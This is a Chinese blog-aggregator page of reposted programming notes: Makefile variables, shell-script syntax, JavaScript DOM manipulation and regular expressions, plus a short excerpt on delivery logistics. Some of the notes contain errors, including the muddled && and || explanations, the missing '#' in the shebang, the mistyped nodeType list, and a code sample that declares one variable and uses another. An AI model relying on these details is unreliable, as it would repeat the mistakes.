LIBS:告诉链接器要链接哪些库文件 VPATH:特殊变量,指定源文件的位置,冒号隔开,按序查找源文件 vpath:关键字,三种模式,指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候,表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件,如果依赖文件是以 % 定义的,那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合,以空格分开 $ ^ 所有依赖文件的集合,用空格分开,如果有重复的依赖文件,只保留一次 $ + 和 $ ^ 类似,但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分 如果目标是 test/a.test.c,目标模式是 a.%.c,那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标 不生成目标文件,只是执行它下面的命令 如果被错认为是文件,由于伪目标一般没有依赖,那么目标就被认为是最新的,那么它下面的命令就不会执行 。 如果目录下有同名文件,伪目标错认为是该文件,由于没有依赖,伪目标下面的指令不会被执行 伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件,伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本 类似于windoes的批处理文件 将连续执行的命令写成一个文件 shell脚本可以提供数组,循环,条件判断等功能 开头必须是:!/bin/bash 表示使用bash 脚本的扩展名:.sh – 交互式shell 有输入有输出 输入:read 第三行 name在这里作为变量,read输入这个变量 下一行使用这个变量直接是 $name,不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算 第五行等于号两边不能有空格 右边计算的时候是 $( ( ) ),注意要两个括号 – test 测试命令 文件状态查询,字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确,那么cmd2也执行 当cmd2执行完并且错误,那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确,那么cmd2不执行 当cmd2执行完并且错误,那么cmd2也执行 查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格,如果不加空格,test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似 里面只能输入 == 或者 != 四个箭头所指必须用空格隔开 而且如果变量是字符串的话,一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号(1,2,3,4…) $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”,否则就不是通配符的意思,而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写 调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环,使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值;限制值;执行步长)) do //循环代码段 done – 红点处必须要加空格!! loop 环 – – 注意变量有的地方用了 $ ,有的地方不需要 $ 这里的赋值号两边都不用加 空格 $(())数值运算 本篇文章为转载内容。原文链接:https://blog.csdn.net/engineer0/article/details/107965908。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 17:18:30
80
转载
转载文章
...数据处理与分析,动态调整司机供应和乘客需求,提高整体出行效率。 同时,随着5G、物联网等新技术的普及,实时数据分析与处理能力将进一步增强,为未来无人配送、无人机送餐等创新应用场景提供可能。在中国市场,京东物流已经投入无人车进行末端配送,阿里巴巴达摩院研发的“小蛮驴”也在部分高校开启常态化运营,展现出现代物流与新兴科技的深度融合。 此外,在保证服务质量的同时,如何兼顾数据安全与隐私保护成为行业关注焦点。欧盟实施的GDPR(《通用数据保护条例》)为全球范围内的数据使用树立了高标准,这也促使企业在利用大数据进行业务决策时,必须更加注重合规与透明。 总结而言,以饿了么为代表的生活服务平台正在借力先进科技力量推动产业革新,而这一趋势将在更广泛的物流与配送领域持续发酵,未来的市场竞争将更多体现在智能化、个性化与高效化的服务能力上。在这个过程中,不仅需要企业积极探索技术创新应用,更需在法律法规框架下妥善处理数据安全与个人隐私问题,实现可持续的健康发展。
2023-01-31 14:48:26
344
转载
转载文章
.../ 3.参数 id是大小写敏感的字符串// 4.返回的是一个对象var timer = document.getElementById('time');console.log(timer);// 5.console.dir 打印我们返回得的元素对象 更好的查看里面的属性和方法console.dir(timer);</script></body> 2.根据标签名获取 使用getElementsByTagName()方法可以返回带有指定标签名的对象的集合 语法如下 document.getElementsByTagName('标签名') 注意: 1.因为得到的是一个对象的集合,使用我们想要操作里面的元素就需要遍历 得到元素对象是动态的 代码演示 <body><ul><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li></ul><ul id="nav"><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li></ul><script>// 1.返回的是 获取过来元素对象的集合 以伪数组的形式存储的var lis = document.getElementsByTagName('li')console.log(lis);// 2.如果想要依次打印里面的元素对象我们可以采取遍历方式for (var i = 0; i < lis.length; i++) {console.log(lis[i]);}// 3.这里可以是可以获取标签的.getElementsByTagName()可以得到这个元素里面的某些标签var nav1 = document.getElementById('nav') //这个获取nav元素var navli = nav.getElementsByTagName('li') //这里是获取nav 里面的li标签 要先获取 nav元素在获取里面的liconsole.log(navli);</script></body> 3.通过 HTML5 新增的方法获取(注意兼容) 1. document.getElementsByClassName(‘类名’);// 根据类名返回元素对象集合 2. document.querySelector('选择器'); // 根据指定选择器返回第一个元素对象 3. document.querySelectorAll('选择器'); // 根据指定选择器返回所有元素对象集合 注意:querySelector 和 querySelectorAll里面的选择器需要加符号,比如:document.querySelector(’nav’); 代码演示 <body><div class="box">盒子1</div><div class="box">盒子2</div><div id="nav"><ul><li>首页</li><li>产品</li></ul></div><script>// 1. getElementsByClassName 根据类名获得某些元素集合var boxs = document.getElementsByClassName('box');console.log(boxs);// 2. querySelector 返回指定选择器的第一个元素对象 切记 里面的选择器需要加符号 .box navvar firstBox = document.querySelector('.box');console.log(firstBox);var nav = document.querySelector('nav');console.log(nav);var li = document.querySelector('li');console.log(li);// 3. querySelectorAll()返回指定选择器的所有元素对象集合var allBox = document.querySelectorAll('.box');console.log(allBox);var lis = document.querySelectorAll('li');console.log(lis);</script> 4.获取特殊元素(body,html) 获取body元素 - doucumnet.body // 返回body元素对象 获取html元素 . document.documentElement // 返回html元素对象 代码演示 <body><script>// 获取bdoy元素var bodyEle = document.bodyconsole.log(bodyEle); //返回body元素// 获取html元素var htmlEle = document.documentElementconsole.log(htmlEle); //返回html元素</script></body> 三.事件基础 1.事件概述 JavaScript 使我们有能力创建动态页面,而事件是可以被 JavaScript 侦测到的行为。 简单理解: 触发— 响应机制。 网页中的每个元素都可以产生某些可以触发 JavaScript 的事件,例如,我们可以在用户点击某按钮时产生一个 事件,然后去执行某些操作。 代码演示 <body><button id="btn">浩哥</button><script>// 点击一个按钮,弹出一个对话框// 1.事件是有三部分组成的 1.事件源 2.事件类型 3.事件处理程序 也称为事件三要素// (1).事件源 事件被触发的对象 var but = document.getElementById('btn')// (2).事件类型 如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过还是????// (3).事件处理程序 通过一个函数赋值的方式 完成 因为函数就是实现某种功能的but.onclick = function() {alert('浩哥爱编程')}</script></body> 2.执行事件的步骤 1. 获取事件源DOM对象(意思是你要获取那个元素) 2. 注册事件(绑定事件 意思是通过什么方式来处理比如是鼠标经过还是鼠标点击等等行为) 3. 添加事件处理程序(采取函数赋值形式 意思是你想做啥) 代码演示 <body><div>123</div><script>// 事件执行步骤 点击div 控制台输出我被选中了// 1.获取事件源var div = document.querySelector('div')// 2.绑定事件 注册事件// div.onclick// 3.添加事件处理程序div.onclick = function() {console.log('我被点击了');}</script></body> 3.常见的鼠标事件 onmouseenter鼠标移入事件 onmouseleave鼠标移出事件 四.操作元素 JS的DOM操作可以改变网页内容、结构和样式,利用DOM操作元素来改变元素里面的内容、属性等。注意以下都是属性 1.操作元素内容(改变元素内容) elemeny.innerText 从起始位置到终止位置的内容,但它去除html标签,同时空格和换行也会去掉 elemernt.innerHTML 起始位置到终止位置的全部内容,包括html标签,同时保留空格和换行 elemernt.Content可以获取隐藏元素的文本,包含换行和空白 代码演示 <title>Document</title><style>div,p {height: 30px;width: 300px;line-height: 30px;text-align: center;color: fff;background-color: pink;}</style></head><body><button>显示当前系统时间</button><div>某个时间</div><p>123</p><script>// 当我们点击了按钮,div里面的文字会发生变化// 1.获取元素 注意这里的按钮 和div都要获取到 因为 点击按钮div里面要发生变化所以都要获取var but = document.querySelector('button');var div = document.querySelector('div');// 2.绑定事件// but.onclick// 3.程序处理but.onclick = function() {// 改变元素内容 element(元素).innerTextdiv.innerText = '2020-11-27'}// 4.我们元素可以不用添加事件,就可以直接显示日期var p = document.querySelector('p');p.innerText = '2020-11-27';</script> elemeny.innerText和elemeny.innerHTML的区别 代码演示 <body><div></div><p></p><ul><li> 文字</li><li>123</li></ul><script>// innertText 和 innertHTML 的区别// 1. innerText 不识别html标签 非标准 去除空格和换行var div = document.querySelector('div');div.innerText = '<strong>今天是:</strong> 2020';// 2.innertHTML 识别html标签 W3C标准 保留空格和换行的 推荐尽量使用这个 因为这个是标准var p = document.querySelector('p')p.innerHTML = '<strong>今天是:</strong> 2020';// 3.这俩个属性是可读写的 意思是 除了改变内容还可以元素读取里面的内容的var ul = document.querySelector('ul')console.log(ul.innerText);console.log(ul.innerHTML);// .4innerHtml innerText 之间的区别:设置内容的时候,如果内容当中包含标签字符串 innerHtml会有标签的特性,也就是说标签会在页面上生效如果内容当中包含标签字符串 innerText会把标签原样展示在页面上,不会让标签生效读取内容的时候,如果标签内部还有其它标签,innerHtml会把标签内部带着其它的标签全部输出如果标签内部还有其它标签,innerText只会输出所有标签里面的内容或者文本,不会输出标签如果标签内部没有其它标签,他们两个一致;都是读取文本内容,innerHtml会带空白和换行</script></body> 2. 操作常见元素属性 innerText、innerHTML 改变元素内容 src、href id、alt、title 代码演示 <body><button id="ldh">刘德华</button><button id="zxy">张学友</button><br><img src="./images/ldh.jpg" alt="" width="200px" height="200px" title="刘德华" id="img"><script>// 修改属性 src// 我们可以操作元素得方法 来修改元素得属性 就是 元素的是什么属性 在重新给值就可以完成相应的赋值操作了// 1.获取元素var ldh = document.getElementById('ldh')var zxy = document.getElementById('zxy')var img = document.getElementById('img')// 2.注册事件 程序处理zxy.onclick = function() {// 当我们点击了图片的时候图片路径就发生变化 这里的.表示 的 得意思 img对象下的src属性img.src = './images/zxy.jpg';// 当我们变换图片得同时里面得title也要跟着变 所以前面要加上img.img.title = '张学友';}ldh.onclick = function() {img.src = './images/ldh.jpg';img.title = '刘德华';}</script> 3.操作表单元素属性 利用DOM可以操作如下表单元素的属性 type、value、checked、selected、disabled 代码演示: <body><button>按钮</button><input type="text" value="输入内容"><script>// 我想把value里面的输入内容改变为 被点击了// 1.获取元素var but = document.querySelector('button')var input = document.querySelector('input')// 2.注册事件 处理程序but.onclick = function() {// input.innerHTML = '被点击了'; 这个是 普通盒子 比如 div 标签里面的内容// 表单里面的值 文字内容是通过value来修改的input.value = '被点击了'// 如果需要某个表单被禁用 不能再点击了使用 disabled 我们想要这个按钮 button禁用// but.disabled = true// 还有一种写法// this指向的是事件函数的调用者 谁调用就指向谁 这里调用者是btnthis.disabled = true}</script></body> 4.操作元素样式属性 我们可以通过 JS 修改元素的大小、颜色、位置等样式。 1.element.style 行内样式操作 注意: JS 里面的样式采取驼峰命名法 比如 fontSize、 backgroundColor JS 修改 style 样式操作,产生的是行内样式,所以行内式比内嵌式高 代码演示 <style>div {width: 200px;height: 200px;background-color: red;}</style></head><body><div></div><script>// 要求点击div变成粉色 height变为250px// 1.获取元素var div = document.querySelector('div');// 2.注册事件 处理程序div.onclick = function() {// div.style里面的属性 采取的是驼峰命名法// this等于div this调用者 谁调用谁执行this.style.backgroundColor = 'pink'this.style.height = '250px'}</script> 2.element.className 类名样式操作 注意: 如果样式修改较多,可以采取操作类名方式更改元素样式。 class因为是个保留字,因此使用className来操作元素类名属性 className 会直接更改元素的类名,会覆盖原先的类名。 代码演示 <style>div {width: 100px;height: 100px;background-color: pink;}.change {background-color: purple;color: fff;font-size: 25px;margin-top: 100px;}</style></head><body><div class="first">文本</div><script>// 1. 使用 element.style 获得修改元素样式 如果样式比较少 或者 功能简单的情况下使用var test = document.querySelector('div');test.onclick = function() {// this.style.backgroundColor = 'purple';// this.style.color = 'fff';// this.style.fontSize = '25px';// this.style.marginTop = '100px';// 让我们当前元素的类名改为了 change// 2. 我们可以通过 修改元素的className更改元素的样式 适合于样式较多或者功能复杂的情况 如果想继续添加样式即在change添加即可// 3. 如果想要保留原先的类名,我们可以这么做 多类名选择器// this.className = 'change';this.className = 'first change';}</script> 5.自定义属性的操作 js给我们规定了可以自己添加属性 在操作元素属性的时候,元素.语法只能操作元素天生具有的属性,如果是自定义的属性,通过.语法是无法操作的只能通过getAttribute和setAttribute去操作,他俩是通用的方法,无论元素天生的还是自定义的都可以可以操作 1.获取属性值 element.属性 获取属性值。 element.getAttribute(‘属性’); 区别: element.属性 获取内置属性值(元素本身自带的属性 如果是自定义属性不能被获取) element.getAttribute(‘属性’);主要获得自定义的属性 (标准) 我们自定义的属性 2.设置属性值 element.属性 = ‘值’ 设置内置属性值 element.setAttribute(‘属性’,‘值’) 区别: element.属性 设置内置属性值 element.setAttribute(‘属性’);主要设置自定义的属性(标准) 3.移除属性 element.removeAttribute(‘属性’); 代码演示 <body><div id="demo" index="1" class="nav"></div><script>var div = document.querySelector('div');// 1.获取元素的属性值// (1) element.属性console.log(div.id);// (2) element.getAttribute('属性') get获取得到 attribute属性的意思 我们自己添加的属性称之为自定义属性console.log(div.getAttribute('id')); //democonsole.log(div.getAttribute('index')); // 1// 2.设置元素的属性值// (1) element.属性 = '值' div.id = 'test'div.className = 'navs'// (2) element.setAttribute('属性','值')div.setAttribute('index', 2);div.setAttribute('class', 'footer') //这里就是class 不是className 比较特殊// 3.移除属性 removeAttribute(属性)div.removeAttribute('index');</script></body> 只要是自定义属性最好都是用element.setAttribute(‘属性’,‘值’)来设置 如果是自带属性用element.属性来设置 6.H5自定义属性 自定义属性的目的:第一、是为了保存属性 第二、并且使用数据。有一些数据可以保存到页面中而不用保存到数据库中。 自定义属性获取是通过getAttribute(‘属性’) 获取的 但是有些自定义属性很容易引起歧义,不容易判断是元素还是自定义属性 H5给我们新增了自定义属性: 1.设置H5自定义属性 H5规定自定义属性data-开头做为属性名并且赋值 比如<div data-index:“1”> 或者使用JS设置element.setAttribute(‘deta-index’,2) 2.获取H5自定义属性 兼容性获取 element.getAttribute(‘data-index’) 推荐开发中使用这个 H5新增element.dataset.index 或者element.datase[‘index’] ie 11以上才支持 代码演示 <body><div getTime="10" data-index="20" data-name-list="40"></div><script>// 获取元素var div = document.querySelector('div');console.log(div.geTime); //undefined getTime是自定义属性不能直接通过元素的属性来获取 而是用自定义属性来获取的getAttribute(‘属性’)console.log(div.getAttribute('getTime')); //10// H5添加自定义属性的写法以data-开头div.setAttribute('data-time', 30)// 1.兼容性获取H5自定义属性console.log(div.getAttribute('data-time')); // 30// 2.H5新增的获取自定义属性的方法 它只能获取data-开头的// dataset 是一个集合的意思存放了所有以data开头的自定义属性 如果你想取其中的某一个只需要在dataset.的后面加上自定义属性名即可console.log(div.dataset);console.log(div.dataset.time); // 30// 还有一种方法dataset['属性']console.log(div.dataset['time']); // 30// 如果自定义属性里面有多个-链接的单词 我们获取的时候采取驼峰命名法 不用要-了console.log(div.dataset.nameList); // 40console.log(div.dataset['nameList']); // 40</script></body> 五.节点操作 1.为什么要学习节点操作 获取元素通常使用俩种方式 (1)利用DOM提供的方法获取元素 但是逻辑性不强 繁琐 (2)利用节点层级关系获取元素 如 利用父子,兄弟关系获取元素 逻辑性强,但是兼容性不怎么好 2.节点概述 网页中的所有内容都是节点(标签、属性、文本、注释等等) ,在DOM中,节点使用node表示。HTML DOM 树中的所有节点均可通过javascript进行访问,所有HTML元素(节点) 均可被修改,也可以创建或删除 一般地,节点至少拥有nade Type(节点类型)、nodeName(节点名称)和nodeValue(节点值) 这三个基本属性 元素节点 nodeType 为 1 属性节点 node Name为 2 文本节点 nodeValue为 3 (文本节点包含文字、空格、换行等等) 实际开发中,节点操作主要操作的是元素节点 3.节点层级 利用DOM树可以把节点划分为不同得层级关系,常见得是父子兄层级关系 1.父级节点 1.node.parentNode parenNode属性可以返回某节点得父节点,注意是最近的父节点哟!!! 如果指定的节点没有父节点就返回null 代码演示 <body><div class="box"><div class="box1"></div></div><script>var box1 = document.querySelector('.box1')// 得到的是离元素最近的父节点(亲爸爸) 得不到就返回得是nullconsole.log(box1.parentNode); // parentNode 翻译过来就是父亲的节点</script></body> 2.子级节点操作 1.parentNode.children(非标准) parentNode.children 是一个只读属性,返回所有的子元素节点。它只返回子元素节点,其余节点不返回(重点记住这个就好,以后重点使用) 虽然children是一个非标准,但是得到了各个浏览器的支持,我们大胆使用即可!!! 代码演示 <body><ul><li>1</li><li>1</li><li>1</li><li>1</li></ul><script>// DOM 提供的方法(APL)获取 这样获取比较麻烦var ul = document.querySelector('ul')var lis = ul.querySelectorAll('li')// children子节点获取 ul里面所有的小li 放心使用没有限制兼容性 实际开发中经常使用的console.log(ul.children);</script> 如何返回子节点的第一个和最后一个? 2.parentNode.firstElementChild firstElementChild返回第一个子元素节点,找不到则返回unll 3.parentNode.lastElementChild lastElementChild返回最后一个子元素节点,找不到则返回null 注意:这俩个方法有兼容性问题,IE9以上才支持 谨慎使用 但是我们有解决方案 如果想要第一个子元素节点,可以使用 parentNode.chilren[0] 如果想要最后一个子元素节点,可以使用 parentNode.chilren[parentNode.chilren.length - 1] 代码演示 <body><ul><li>1</li><li>2</li><li>3</li><li>4</li><li>5</li></ul><script>var ul = document.querySelector('ul')// 1.firstElementChild 返回第一个子元素节点 ie9 以上才支持注意兼容console.log(ul.firstElementChild);// 2.lastElementChild返回最后一个子元素节点console.log(ul.lastElementChild);// 3.实际开发中用到的既没有兼容性问题又可以返回子节点的第一个和最后一个console.log(ul.children[0]);console.log(ul.children[ul.children.length - 1]); //ul.children.length - 1获取的永远是子节点最后一个</script></body> 3.兄弟节点 1.node.nextSibling nextSibling 返回当前元素的下一个兄弟节点,找不到则返回null。注意包含所有的节点 2.node.previousSibling previousSibling 返回当前元素上一个兄弟节点,找不到则返回null。注意包含所以有的节点 代码演示 <body><div>我是div</div><span>我是span</span><script>var div = document.querySelector('div')// 返回当前元素的下一个兄弟节点nextSibling,找不到返回null。注意包含元素节点或者文本节点等等console.log(div.nextSibling); //这里返回的是text 因为它的下一个兄弟节点是换行// 返回的是当前元素的上一个节点previousSibling,找不到返回null。注意包含元素节点或者文本节点等等console.log(div.previousSibling); //这里返回的是text 因为它的上一个兄弟节点是换行</script></body> 3.node.nexElementSibling nexElementSibling 返回当前元素下一个兄弟元素节点,找不到返回null 4.node.previousElementSibling previousElementSibling返回当前元素上一个兄弟节点,找不到返回null 注意:这俩个方法有兼容性问题,IE9以上才支持 代码演示 <body><div>我是div</div><span>我是span</span><script>var div = document.querySelector('div')// nextElementSiblingd得到下一个兄弟元素节点console.log(div.nextElementSibling); // span // previousElementSibling 得到的是上一个兄弟元素节点console.log(div.previousElementSibling); // null 因为它上面没有兄弟元素了返回空的</script></body> 怎么解决兼容性问题呢? 可以封装一个兼容性函数(简单了解即可 在实际开发中用的不多) function getNextElementSibling(element) {var el = element;while (el = el.nextSibling) {if (el.nodeType === 1) {return el;} }return null;} 4.创建节点 1.document.createElement('tagName') document.createElement( ) 方法创建由 tagName 指定的 HTML 元素。因为这些元素原先不存在的是根据我们的需求动态生成的,所有我们也称为动态创建元素节点 我们创建了节点要给添加到节点里面去 称为 添加节点 1.node.appendChild(child) node.appendChild( )方法将一个节点添加到指定父节点的子节点列表末尾 2.node.insertBefore(child,指定添加元素位置) node.insertBefore( ) 方法将一个节点添加到父节点的指定子节点前面 代码演示 <body><ul><li>1</li></ul><script>// 1.创建节点 createElementvar li = document.createElement('li')// 2.添加节点 创建了节点要添加到某一个元素身上去 叫添加节点 node.appendChild(child) done 父级 child 子级 如果前面有元素了则在后面追加元素类似数组中的push依次追加var ul = document.querySelector('ul')ul.appendChild(li)// 3.添加节点 node.insertBefore(child,指定元素) 在子节点前面添加子节点 child子级你要添加的元素var lili = document.createElement('li')ul.insertBefore(lili, ul.children[0]) //ul.children 这句话的意思是添加到ul父亲的子节点第一个// 总结 如果想在页面中添加元素分为俩步骤1.创建元素 2.添加元素</script></body> 5.删除节点 node.removeChild(child) node.removeChlid()方法从DOM 中删除一个子节点,返回删除的节点 简单点就是从父元素中删除某一个孩子node就是父亲child就是孩子 删除的节点.remove(没有参数) 注意:ie不支持 代码演示 <body><button>按钮</button><ul><li>熊大</li><li>熊二</li><li>熊三</li></ul><script>// 1.获取元素var ul = document.querySelector('ul')var but = document.querySelector('button');// 2.删除元素// but.onclick = function() {// ul.removeChild(ul.children[0])// }// 3.点击按钮键依次删除,最后没有删除内容了 就禁用按钮 disabled = true 禁用按钮语法but.onclick = function() {if (ul.children.length == 0) {this.disabled = true} else {ul.removeChild(ul.children[0])} }</script></body> 6.复制节点(克隆节点) node.cloneNode() node.dloneNode()方法返回调用该方法节点得一个副本,也称为克隆节点/拷贝节点 注意 1.如果括号参数为空或者为false,则是浅拷贝,只复制里面得标签,不复制内容 2.如果括号参数为true,则是深度拷贝,会复制节点本身以及里面所有的内容 代码演示 <body><ul><li>1</li><li>2</li><li>3</li></ul><script>// 1.获取元素var ul = document.querySelector('ul');// 2.复制元素 node.cloneNode() 如果参数括号为空或者false则只会复制元素不会复制内容,如果待有参数true则内容和元素都会被复制var lis = ul.children[0].cloneNode(true);// 3.获取元素ul.appendChild(lis)</script></body> 7.替换(改)节点 node.replaceChild(新节点,替换到什么位置) 代码演示 <body><ul class="list"><li>1</li><li>2</li></ul><script>// 替换(改)节点 父节点.replaceChild(新元素, 替换到什么位置)// (1)获取父元素var ulNode = document.querySelector('.list');// (2)创建新的元素var liRead = document.createElement('li')// (3)给新元素添加内容liRead.innerHTML = '5';// (4)替换元素ulNode.replaceChild(liRead, ulNode.children[1])</script></body> 8.三种动态创建元素区别 document.write() element.innerHTML document.createElement() 区别 document.write()是直接将内容写入页面的内容流,但是文档流执行完毕,它则会导致页面全部重绘 element.innerHTML是将内容写入某个DOM节点,不会导致页面全部重绘 element.innerHTML 创建多个元素效率更高(不要拼接字符串,采取数组形式拼接),结果有点复杂 createElement()创建多个元素效率低一点点,但是结果更加清晰 总结:不同浏览器下,innerHTML效率要比createElement()高 代码演示 <body><button>点击</button><p>abc</p><div class="inner"></div><div class="create"></div><script>// window.onload = function() {// document.write('<div>123</div>');// }// 三种创建元素方式区别 // 1. document.write() 创建元素 如果页面文档流加载完毕,再调用这句话会导致页面重绘// var btn = document.querySelector('button');// btn.onclick = function() {// document.write('<div>123</div>');// }// 2. innerHTML 创建元素var inner = document.querySelector('.inner');// for (var i = 0; i <= 100; i++) {// inner.innerHTML += '<a href="">百度</a>'// }var arr = [];for (var i = 0; i <= 100; i++) {arr.push('<a href="">百度</a>');}inner.innerHTML = arr.join('');// 3. document.createElement() 创建元素var create = document.querySelector('.create');for (var i = 0; i <= 100; i++) {var a = document.createElement('a');create.appendChild(a);}</script></body> 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_46978034/article/details/110190352。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-04 13:36:05
248
转载
转载文章
...参数 含义 i 忽略大小写 g 全局匹配 m 多行匹配 var box = /box/; // 直接用两个反斜杠var box = /box/ig; // 在第二个斜杠后面加上模式修饰符 测试正则表达式 RegExp 对象包含两个方法:test()和 exec(),功能基本相似,用于测试字符串匹配。test()方法在字符串中查找是否存在指定的正则表达式并返回布尔值,如果存在则返回 true,不存在则返回 false。exec()方法也用于在字符串中查找指定正则表达式,如果 exec()方法执行成功,则返回包含该查找字符串的相关信息数组。如果执行失败,则返回 null。 RegExp 对象的方法 方法 功能 test 在字符串中测试模式匹配,返回 true 或 false exec 在字符串中执行匹配搜索,返回结果数组 // 使用 new 运算符的 test 方法示例var pattern = new RegExp('box', 'i'); // 创建正则模式,不区分大小写var str = 'This is a Box!'; // 创建要比对的字符串alert(pattern.test(str)); // 通过 test()方法验证是否匹配// 使用字面量方式的 test 方法示例var pattern = /box/i; // 创建正则模式,不区分大小写var str = 'This is a Box!';alert(pattern.test(str));// 使用一条语句实现正则匹配alert(/box/i.test('This is a Box!')); // 模式和字符串替换掉了两个变量// 使用 exec 返回匹配数组var pattern = /box/i;var str = 'This is a Box!';alert(pattern.exec(str)); // 匹配了返回数组,否则返回 null 使用字符串的正则表达式方法 除了 test()和 exec()方法,String 对象也提供了 4 个使用正则表达式的方法。 String 对象中的正则表达式方法 方法 含义 match(pattern) 返回 pattern 中的子串或 null replace(pattern, replacement) 用 replacement 替换 pattern search(pattern) 返回字符串中 pattern 开始位置 split(pattern) 返回字符串按指定 pattern 拆分的数组 // 使用 match 方法获取获取匹配数组var pattern = /box/ig; // 全局搜索var str = 'This is a Box!,That is a Box too';alert(str.match(pattern)); // 匹配到两个 Box,Boxalert(str.match(pattern).length); // 获取数组的长度// 使用 search 来查找匹配数据var pattern = /box/ig;var str = 'This is a Box!,That is a Box too';alert(str.search(pattern)); // 查找到返回位置,否则返回-1 因为 search 方法查找到即返回,也就是说无需 g 全局。 // 使用 replace 替换匹配到的数据var pattern = /box/ig;var str = 'This is a Box!,That is a Box too';alert(str.replace(pattern, 'Tom')); // 将 Box 替换成了 Tom// 使用 split 拆分成字符串数组var pattern = / /ig;var str = 'This is a Box!,That is a Box too';alert(str.split(pattern)); // 将空格拆开分组成数组 RegExp 对象的静态属性 属性 短名 含义 input $_ 当前被匹配的字符串 lastMatch $& 最后一个匹配字符串 lastParen $+ 最后一对圆括号内的匹配子串 leftContext $ 最后一次匹配前的子串 multiline $ 用于指定是否所有的表达式都用于多行的布尔值 rightContext $’ 在上次匹配之后的子串 // 使用静态属性var pattern = /(g)oogle/;var str = 'This is google!';pattern.test(str); // 执行一下alert(RegExp.input); // This is google!alert(RegExp.leftContext); // This isalert(RegExp.rightContext); // !alert(RegExp.lastMatch); // googlealert(RegExp.lastParen); // galert(RegExp.multiline); // false Opera 不支持 input、lastMatch、lastParen 和 multiline 属性。IE 不支持 multiline 属性。所有的属性可以使用短名来操作。RegExp.input 可以改写成 RegExp['$_'],依次类推。但 RegExp.input 比较特殊,它还可以写成 RegExp.$_。 RegExp 对象的实例属性 属性 含义 global Boolean 值,表示 g 是否已设置 ignoreCase Boolean 值,表示 i 是否已设置 lastIndex 整数,代表下次匹配将从哪里字符位置开始 multiline Boolean 值,表示 m 是否已设置 Source 正则表达式的源字符串形式 // 使用实例属性var pattern = /google/ig;alert(pattern.global); // true,是否全局了alert(pattern.ignoreCase); // true,是否忽略大小写alert(pattern.multiline); // false,是否支持换行alert(pattern.lastIndex); // 0,下次的匹配位置alert(pattern.source); // google,正则表达式的源字符串var pattern = /google/g;var str = 'google google google';pattern.test(str); // google,匹配第一次alert(pattern.lastIndex); // 6,第二次匹配的位 以上基本没什么用。并且 lastIndex 在获取下次匹配位置上 IE 和其他浏览器有偏差 ,主要表现在非全局匹配上。lastIndex 还支持手动设置,直接赋值操作。 获取控制 正则表达式元字符是包含特殊含义的字符。它们有一些特殊功能,可以控制匹配模式的方式。反斜杠后的元字符将失去其特殊含义。 字符类:单个字符和数字 元字符/元符号 匹配情况 . 匹配除换行符外的任意字符 [a-z0-9] 匹配括号中的字符集中的任意字符 [^a-z0-9] 匹配任意不在括号中的字符集中的字符 \d 匹配数字 \D 匹配非数字,同[^0-9]相同 \w 匹配字母和数字及_ \W 匹配非字母和数字及_ 字符类:空白字符 元字符/元符号 匹配情况 \0 匹配 null 字符 \b 匹配空格字符 \f 匹配进纸字符 \n 匹配换行符 \r 匹配回车字符 \t 匹配制表符 \s 匹配空白字符、空格、制表符和换行符 \S 匹配非空白字符 字符类:锚字符 元字符/元符号 匹配情况 ^ 行首匹配 $ 行尾匹配 \A 只有匹配字符串开始处 \b 匹配单词边界,词在[]内时无效 \B 匹配非单词边界 \G 匹配当前搜索的开始位置 \Z 匹配字符串结束处或行尾 \z 只匹配字符串结束处 字符类:重复字符 元字符/元符号 匹配情况 x? 匹配 0 个或 1 个 x x 匹配 0 个或任意多个 x x+ 匹配至少一个 x (xyz)+ 匹配至少一个(xyz) x{m,n} 匹配最少 m 个、最多 n 个 x 字符类:替代字符 元字符/元符号 匹配情况 this where 字符类:记录字符 元字符/元符号 匹配情况 (string) 用于反向引用的分组 \1 或$1 匹配第一个分组中的内容 \2 或$2 匹配第二个分组中的内容 \3 或$3 匹配第三个分组中的内容 // 使用点元字符var pattern = /g..gle/; // .匹配一个任意字符var str = 'google';alert(pattern.test(str));// 重复匹配var pattern = /g.gle/; // .匹配 0 个一个或多个var str = 'google'; //,?,+,{n,m}alert(pattern.test(str));// 